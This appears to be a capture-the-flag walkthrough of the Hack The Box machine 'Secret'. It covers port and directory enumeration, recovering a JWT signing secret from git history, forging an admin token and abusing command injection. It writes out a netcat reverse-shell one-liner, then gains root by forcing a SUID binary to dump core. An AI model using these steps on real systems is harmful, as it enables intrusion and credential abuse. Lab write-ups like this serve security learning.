Enum

nmap

Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-02 07:57 EDT
Nmap scan report for 10.10.11.120
Host is up (0.051s latency).

PORT     STATE  SERVICE     VERSION
22/tcp   open   ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA)
|   256 95:ed:65:8d:cd:08:2b:55:dd:17:51:31:1e:3e:18:12 (ECDSA)
|_  256 33:7b:c1:71:d3:33:0f:92:4e:83:5a:1f:52:02:93:5e (ED25519)
80/tcp   open   http        nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: DUMB Docs
309/tcp  closed entrusttime
410/tcp  closed decladebug
1007/tcp closed unknown
3000/tcp open   http        Node.js (Express middleware)
|_http-title: DUMB Docs
8256/tcp closed unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Web Enumeration

By enumerating /download, we get files.zip

┌─[user@parrot][~/htb/secret]
└──╼ $gobuster dir -u http://10.10.11.120/download -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-directories-lowercase.txt -x txt,zip,xml,tar,bak
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.11.120/download
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-directories-lowercase.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              tar,bak,txt,zip,xml
[+] Timeout:                 10s
===============================================================
2021/11/04 17:40:11 Starting gobuster in directory enumeration mode
===============================================================
/files.zip            (Status: 200) [Size: 28849603]

We download the file and unzip it. It is a git repo of the api.

We check the logs

git log                                                                                                                                                                                 
commit e297a2797a5f62b6011654cf6fb6ccb6712d2d5b (HEAD -> master)                                                                                                                              
Author: dasithsv <dasithsv@gmail.com>
Date:   Thu Sep 9 00:03:27 2021 +0530

    now we can view logs from server 😃

commit 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78 
Author: dasithsv <dasithsv@gmail.com>
Date:   Fri Sep 3 11:30:17 2021 +0530

    removed .env for security reasons

Next we check the log functionality:

We notice the command injection that appears in

-    if (name == 'theadmin'){                                                                                                                                                                 
-        const getLogs = `git log --oneline ${file}`;                                                                                                                                         
-        exec(getLogs, (err , output) 

Next we check the .env commit

└──╼ $git diff 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78 de0a46b5107a2f4d26e348303e76d85ae4870934
diff --git a/.env b/.env
index 31db370..fb6f587 100644
--- a/.env
+++ b/.env
@@ -1,2 +1,2 @@
 DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
-TOKEN_SECRET = secret
+TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE

Now we take the auth token that we obtain from the api and sign it with the secret. We just change nameto theadmin. And we can confirm the command injection:

Next we url encode a reverse shell rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.17.30 9001 >/tmp/f

We get a shell as the user dasith and we add our ssh ke to authorized_hosts.

Enumrrating the box, we find an interesting SUID binary in /opt

Looking at the code

    char path[100];
    int res;
    struct stat path_s;
    char summary[4096];

    printf("Enter source file/directory name: ");
    scanf("%99s", path);
    getchar();
    stat(path, &path_s);
    if(S_ISDIR(path_s.st_mode))
        dircount(path, summary);
    else
        filecount(path, summary);

    // drop privs to limit file write
    setuid(getuid());
    // Enable coredump generation
    prctl(PR_SET_DUMPABLE, 1);
    printf("Save results a file? [y/N]: ");
    res = getchar();

As it is a SETUID binary, if we open the root flag and trigger a SEGFAULT the flag would likely be somewhere in memory.

We get the pid of count after entering the path for the root flag.

Next we trigger a segfault by running kill -11 <pid>

dasith@secret:~$ kill -11 2230506

This will generate a coredump located in /var/crash

We can unpack the dump file running apport-unpack /var/crash/_opt_count.1000.crash /tmp/dump

Piping the CoreDump to less we are able to spot the root flag